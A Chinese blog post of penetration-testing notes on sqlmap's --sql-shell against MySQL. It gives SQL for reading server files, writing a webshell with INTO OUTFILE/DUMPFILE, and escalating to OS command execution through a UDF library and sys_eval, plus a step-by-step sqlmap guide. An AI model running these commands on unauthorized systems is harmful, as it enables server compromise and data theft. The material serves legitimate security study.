sqlmap中的--sql-shell

命令

sqlmap -u --sql-shell

之后就和sql中的命令一样

文件路径

select @@datadir;

查看版本

select @@version;

读写文件

常见的找绝对路径方法:

网页报错信息
phpinfo、探针
数据库查询、暴力破解
参看:常用的绝对路径收集

查看php是否开启魔术引导

测试方法:
特殊字符测试是否转义成反斜杠
探针、phpinfo等

mysql写shell的条件
1、网站可访问路径的绝对路径
2、secure_file_priv 的值非NULL或包含了导出的绝对路径
secure_file_priv的值在mysql配置文件my.ini中设置,这个参数用来限制数据导入导出
Mysql>=5.5.53 默认为NULL,即默认禁止导入导出
Mysql<5.5.53 默认为空,即默认无限制
3、mysql服务有对网站可访问路径的写权限
4、mysql连接用户有FILE权限/ROOT用户或ROOT权限
5、GPC关闭//未对闭合用的引号转义
outfile 和 dumpfile的路径不支持hex,必须有引号包裹

# 高版本只允许操作secure_file_priv变量指定目录下的文件
select @@secure_file_priv;

# 写文件  
# into dumpfile用于二进制文件,
select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so'; 
# into outfile 主要的目的是导出 文本文件
select '123' into outfile  /var/www/1.html;

#读文件
select load_file('/etc/httpd/conf/httpd.conf');

# 有的时候读取很慢 ,可以不读整个文件 下面先以DocumentRoot分割,获取查找第3个左边的部分
substring(substring_index(substring_index(load_file('/etc/httpd/conf/httpd.conf'),'DocumentRoot',3),'DocumentRoot',-1),1,20);

udf

#找到现有的自定义函数
select * from mysql.func;

#  MySQL 5.0.67 开始udf需要在指定路径下
select @@plugin_dir;

#导入udf库文件
select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';

#创建自定义函数
create function sys_eval returns string soname 'mysqludf.so';

# 执行自定义函数
select sys_eval('whoami');

下一步使用sqlmap --os-shell

可以执行命令
下图是网站的绝对路径
在这里插入图片描述

参考

安全渗透测试–sql注入之sql-shell

使用`--sql-shell`选项可以让你在目标数据库上执行任意的SQL语句。以下是使用`--sql-shell`选项的基本步骤: 1. 首先,使用SQLMap进行探测并确认数据库注入漏洞是否存在。可以使用以下命令进行探测: ``` sqlmap -u <target-URL> --dbs ``` 2. 确认存在注入漏洞之后,可以使用以下命令来获取数据库的所有表: ``` sqlmap -u <target-URL> -D <database-name> --tables ``` 其,`<database-name>`是你想要访问的数据库名称。 3. 根据需要选择你想要访问的表,并使用以下命令来获取表的所有列: ``` sqlmap -u <target-URL> -D <database-name> -T <table-name> --columns ``` 其,`<table-name>`是你想要访问的表名称。 4. 根据需要选择你想要访问的列,并使用以下命令来获取`--sql-shell`: ``` sqlmap -u <target-URL> -D <database-name> -T <table-name> -C <column-name> --sql-shell ``` 其,`<column-name>`是你想要访问的列名称。 5. 输入`--sql-shell`后,你将进入SQL Shell命令行提示符,此时你可以输入任意的SQL命令,并按回车键执行。例如: ``` mysql> SELECT * FROM users WHERE username='admin'; ``` 这个命令将返回名为`users`的表用户名为`admin`的行的所有数据。 请注意,这些命令只是SQLMap获取SQL Shell的基本用法。具体步骤取决于你想要访问的数据库和表。同时,需要强调的是,这种方法只适用于合法的授权情况下,任何未经授权的访问都是违法的。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值